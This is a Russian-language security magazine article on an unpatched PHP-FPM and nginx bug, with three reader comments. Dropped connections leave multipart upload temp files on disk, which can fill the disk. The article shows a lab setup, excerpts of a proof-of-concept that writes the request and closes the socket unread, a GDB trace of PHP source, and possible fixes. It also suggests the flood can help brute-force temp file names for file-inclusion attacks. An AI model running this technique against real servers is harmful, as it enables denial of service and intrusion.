В самом конце января в багтрекере PHP появилось описание интересного бага: некоторые сайты можно вывести из строя, забив все свободное место временными файлами. Уязвимость до сих пор не устранена. Давай посмотрим, как ее эксплуатировать.

Проблема возникает, когда PHP работает в связке с веб-сервером nginx. Воспользовавшись некорректной логикой при работе с дескрипторами запросов, злоумышленник может заставить сервер не удалять временные файлы, которые создаются при работе с данными форм вида multipart/form-data. Атакующий может отправить на сервер пачку запросов, которые будут оставлять после себя произвольное количество временных файлов до тех пор, пока не кончится место или не будут исчерпаны другие ресурсы.

 

Приготовления

На момент написания статьи баг еще не запатчен, поэтому сгодится PHP любой версии. Если тебе некогда возиться с исходниками и отладкой и ты хочешь только проверить работу эксплоита, то можешь просто поставить все пакеты из репозиториев. Например, я буду использовать версию 7.0.27 в контейнере Docker с Debian 9.

docker run --rm -ti --cap-add=SYS_PTRACE --security-opt seccomp=unconfined --name=phptmp --hostname=phptmp -p80:80 debian /bin/bash

Теперь установим nginx и PHP и запустим их.

apt-get update && apt-get install -y php-fpm nginx nano
apt-get update && apt-get install -y php5-fpm php5-dbg nginx nano

Отредактируем конфиг текущего сайта в /etc/nginx/sites-enabled/default, раскомментируем строки, которые отвечают за обработку файлов PHP, и изменим путь к файлу сокета. По дефолту это /run/php/php7.0-fpm.sock. В твоем случае он может быть другим, поэтому рекомендую заглянуть в файл /etc/php/7.0/fpm/pool.d/www.conf и поискать директиву listen.

location ~ \.php$ {
    include snippets/fastcgi-php.conf;
    fastcgi_pass unix:/run/php/php7.0-fpm.sock;
}
service php7.0-fpm start & service nginx start

Для успешной работы эксплоита тебе также понадобится любой скрипт на PHP, который будет доступен из веба.

echo > /var/www/html/index.php

Это все, что нужно для демонстрации уязвимости. А вот если ты хочешь разобраться в причинах и подробностях, то тут не обойтись без ручной компиляции PHP. Для начала установим необходимые зависимости.

apt-get install -y build-essential git autoconf automake libtool re2c bison libxml2-dev libgd-dev curl gdb vim nano

Я решил остановиться на той же версии — 7.0.27. Только в этот раз скачаем сорцы из гит-репозитория.

git clone --depth=1 --branch PHP-7.0.27 https://github.com/php/php-src.git
cd php-src

Затем сконфигурируем с поддержкой PHP-FPM.

./buildconf --force
./configure --enable-debug --enable-fpm --with-fpm-user="www-data" --with-fpm-group="www-data"

Осталось скомпилировать и установить. Тут все стандартно.

make
make install

Дальше в конфиге php-fpm нужно настроить количество дочерних процессов. Чтобы было проще отлаживать, рекомендую поставить их в 1.

pm = static
pm.max_children = 1

При отладке нужно включить возможность отлаживать дочерние процессы в GDB.

gdb ./sapi/fpm/php-fpm
set follow-fork-mode child
r --nodaemonize --fpm-config /etc/php/7.0/fpm/php-fpm.conf
Готовый к отладке свежесобранный PHP-FPM 7.0.27
Готовый к отладке свежесобранный PHP-FPM 7.0.27

На этом с приготовлениями все.

 

Подробности

На странице багтрекера PHP исследователь выложил вариант эксплоита. Самое время его скачать и попробовать запустить. PoC, кстати, тоже написан на PHP.

После запуска эксплоита в директории /tmp создается ворох файлов
После запуска эксплоита в директории /tmp создается ворох файлов

Давай заглянем в исходный код и посмотрим, что же там происходит. Переменные host и path отвечают за адрес хоста и путь до любого PHP-скрипта соответственно.

poc.php
4:  $host = 'localhost';
5:  $path = '/index.php';

Затем инициализируются переменные files и request. Первая отвечает за количество файлов, передаваемых в одном запросе к серверу, вторая — за количество этих самых запросов.

poc.php
8:  $files = 20;
9:  $requests = 10;

Получается, что за один запуск эксплоита мы создаем 200 файлов. Дальше идет формирование POST-запроса, с помощью которого они будут отправляться. Этот шаг неинтересен, поэтому мы его пропускаем. Дальше начинается подключение к серверу и отправка готового реквеста.

41:     for($i = 1; $i <= $requests; $i++){
...
43:         $fp = stream_socket_client($scheme.($ip ? $ip : $host).':'.($scheme ? 443 : 80), $errno, $errstr, 30);
44:         fwrite($fp, $header.$body);

А дальше происходит небольшая магия.

44:         fwrite($fp, $header.$body);
45:         stream_socket_shutdown($fp, STREAM_SHUT_RDWR);
46:         fclose($fp);

После отправки данных сокету обмен данными с ним останавливается. То есть соединение закрывается, и скрипт не ждет ответа от сервера. Из-за этого получается, что nginx обрывает общение с PHP до того, как оно будет нормально завершено.

Давай обратимся к исходникам. Вообще, весь процесс загрузки файлов описан в спецификации Form-based File Upload in HTML с идентификатором RFC1867. И исходник из PHP, который занимается обработкой загруженных файлов, имеет такое же название. В нем нас интересует метод SAPI_POST_HANDLER_FUNC.

/main/rfc1867.c
616: /* read until a boundary condition */
617: static int multipart_buffer_read(multipart_buffer *self, char *buf, size_t bytes, int *end)
618: {

Функция php_open_temporary_fd_ex открывает временный файл на запись.

/main/rfc1867.c
1012:               blen = multipart_buffer_read(mbuff, buff, sizeof(buff), &end);
...
1019:                   fd = php_open_temporary_fd_ex(PG(upload_tmp_dir), "php", &temp_filename, 1);
1020:                   upload_cnt--;
1021:                   if (fd == -1) {
1022:                       sapi_module.sapi_error(E_WARNING, "File upload error - unable to create a temporary file");
1023:                       cancel_upload = UPLOAD_ERROR_E;
1024:                   }

Дальше выполняется запись в файл переданного в запросе содержимого.

1058:                   wlen = write(fd, buff, blen);
poc.php
06:     $file = 'Hey, look at me, I’m a temporary file content.';

Отладка кода на моменте создания временного файла и записи в него пользовательских данных
Отладка кода на моменте создания временного файла и записи в него пользовательских данных

После того как скрипт index.php отработает (а он у нас пустой, так что работать ему недолго), выполняются процедуры по освобождению памяти, очистке данных, которые были использованы в процессе, и прочие полезные вещи. Все они объединены в метод php_request_shutdown.

/sapi/fpm/fpm/fpm_main.c
1969: fastcgi_request_done:
...
1995:           php_request_shutdown((void *) 0);
/main/main.c
1781: void php_request_shutdown(void *dummy)
1782: {

Нас интересует момент вызова функции sapi_deactivate.

/main/main.c
1861:   /* 12. SAPI related shutdown (free stuff) */
1862:   zend_try {
1863:       sapi_deactivate();
1864:   } zend_end_try();

В ее теле выполняется метод destroy_uploaded_files_hash. Он удаляет все временные файлы, которые были созданы для работы с пользовательскими данными, отправленными через форму с типом содержимого multipart/form-data.

/main/SAPI.c
501: SAPI_API void sapi_deactivate(void)
502: {
...
535:    if (SG(rfc1867_uploaded_files)) {
536:        destroy_uploaded_files_hash();
537:    }
/main/rfc1867.c
207: PHPAPI void destroy_uploaded_files_hash(void) /* {{{ */
208: {
209:    zend_hash_apply(SG(rfc1867_uploaded_files), unlink_filename);
210:    zend_hash_destroy(SG(rfc1867_uploaded_files));
211:    FREE_HASHTABLE(SG(rfc1867_uploaded_files));
212: }

Только вот выполнение не доходит до этого метода. Перед ним выполняется метод, указанный в методе deactivate текущего модуля. В нашем случае это FPM/FastCGI и вызывается функция sapi_cgi_deactivate.

/main/SAPI.c
532:    if (sapi_module.deactivate) {
533:        sapi_module.deactivate();
534:    }
535:    if (SG(rfc1867_uploaded_files)) {
536:        destroy_uploaded_files_hash();
537:    }
/sapi/fpm/fpm/fpm_main.c
816: static int sapi_cgi_deactivate(void) /* {{{ */
817: {
...
822:    if (SG(sapi_started)) {
823:        if (
...
827:            !fcgi_finish_request((fcgi_request*)SG(server_context), 0)) {

Отладка PHP-FPM. Момент вызова функции sapi_cgi_deactivate
Отладка PHP-FPM. Момент вызова функции sapi_cgi_deactivate

На этом этапе завершается обработка всех запросов и результаты отправляются в соответствующие сокеты.

/main/fastcgi.c
1661: int fcgi_finish_request(fcgi_request *req, int force_close)
1662: {
1663:   int ret = 1;
1664:
1665:   if (req->fd >= 0) {
1666:       ret = fcgi_end(req);
1667:       fcgi_close(req, force_close, 1);
1668:   }
1669:   return ret;
1670: }

За этот процесс отвечает цепочка вызова функций fcgi_endfcgi_flushsafe_writewrite.

1652: int fcgi_end(fcgi_request *req) {
1653:   int ret = 1;
1654:   if (!req->ended) {
1655:       ret = fcgi_flush(req, 1);
1656:       req->ended = 1;
1657:   }
1658:   return ret;
1659: }

1510: int fcgi_flush(fcgi_request *req, int end)
1511: {
...
1514:   close_packet(req);
...
1530:   if (safe_write(req, req->out_buf, len) != len) {

922: static inline ssize_t safe_write(fcgi_request *req, const void *buf, size_t count)
923: {
...
948:        ret = write(req->fd, ((char*)buf)+n, count-n);

Цепочка вызова функций до срабатывания уязвимости в отладчике GDB
Цепочка вызова функций до срабатывания уязвимости в отладчике GDB

Метод write() пытается записать в сокет информацию, которую возвращает интерпретатор PHP. Но ему это не удается, потому что сокет уже закрыт: соединение с nginx было прервано эксплоитом без ожидания и чтения ответа. После выполнения этой конструкции процессу php-fpm отправляется сигнал SIGPIPE. Википедия дает нам исчерпывающее определение:

В POSIX-системах, SIGPIPE — сигнал, посылаемый процессу при записи в соединение (пайп, сокет) при отсутствии или обрыве соединения с другой (читающей) стороной.

Так как изначально вся эта вереница вызовов была инициирована конструкцией вида zend_try, дальнейшее выполнение sapi_deactivate прекращается благодаря zend_end_try.

/main/main.c
1861:   /* 12. SAPI related shutdown (free stuff) */
1862:   zend_try {
1863:       sapi_deactivate();
1864:   } zend_end_try();

Временные файлы не очищаются и остаются на своих местах. Стоит только добавить в эксплоит функцию чтения данных (fread) с сервера до того, как разрывать соединение, и он перестанет работать. 🙂

poc_e.php
35:         $fp = stream_socket_client($scheme.($ip ? $ip : $host).':'.($scheme ? 443 : 80), $errno, $errstr, 30000);
36:         fwrite($fp, $header.$body);
37:         fread($fp, 1); // спасибо за нейтрализацию эксплоита
38:         fclose($fp);
 

Демонстрация уязвимости (видео)

 

Выводы

Как видишь, уязвимость интересная и может помочь в раскрутке всевозможных инклудов. Например, когда не знаешь путей или нет прав на запись в папку. Сбрутить имя временного файла гораздо проще, когда у тебя этих файлов несколько десятков тысяч!

Официального фикса пока что не существует, поэтому под прицелом — большое количество сервисов. Уязвима также связка nginx + PHP, где проксификация происходит по протоколу TCP.

Идеальным фиксом будет отключить возможность загрузки файлов, выставив опцию file_uploads в Off. Но для большинства проектов это вряд ли приемлемо, потому что картиночки все же нужно как-то постить. 🙂

В качестве временного решения можно попробовать пересобрать PHP, обернув вызов sapi_module.deactivate() в конструкцию zend_try. Но я не настоящий сварщик, и это может привести к непредсказуемым последствиям.

/main/SAPI.c
532:    if (sapi_module.deactivate) {
533:        zend_try { /* added */
534:            sapi_module.deactivate();
535:        } zend_end_try(); /* /added */
536:    }

Если у тебя есть более безболезненный и правильный способ избавиться от уязвимости, не стесняйся и пиши.

7 комментариев

  1. baddad

    12.02.2018 at 15:45

    Это было понятно и раньше, если ты работал с файлами в PHP. Это как включенный кэш у Битрикс, от кол-ва файлов которые он создавал фс забивалась нодами и система просто тупо отказывалась работать. В любом случае Битрикс — говно, а по поводу статьи — то я не назвал бы это багом. Мы боролись с этим просто, каждый важный раздел был монтирован отдельно. Например —
    логи.

    • crlf

      17.02.2018 at 18:01

      Разработчики PHP с вами, почти, солидарны. Они тоже не считают это багом, по крайней мере security багом.

  2. neoline

    12.02.2018 at 19:42

    Серьезно?! А че так сложно то.. Вроде можно повесить почти любой сервак залив туда скрипт содержащий вообще пару строчек кода. Разумеется, сработает если хостер дебил.

  3. Tuw

    13.02.2018 at 06:00

    Не понял, откуда докер и возможности apt-get в винде? минцигвин может разве это делать?

Оставить мнение

Check Also

Android: инструменты пентестера, уязвимости экрана блокировки iOS и множество советов по Kotlin

Сегодня в выпуске: десять инструментов пентестера, уязвимости экрана блокировки iOS, взлом…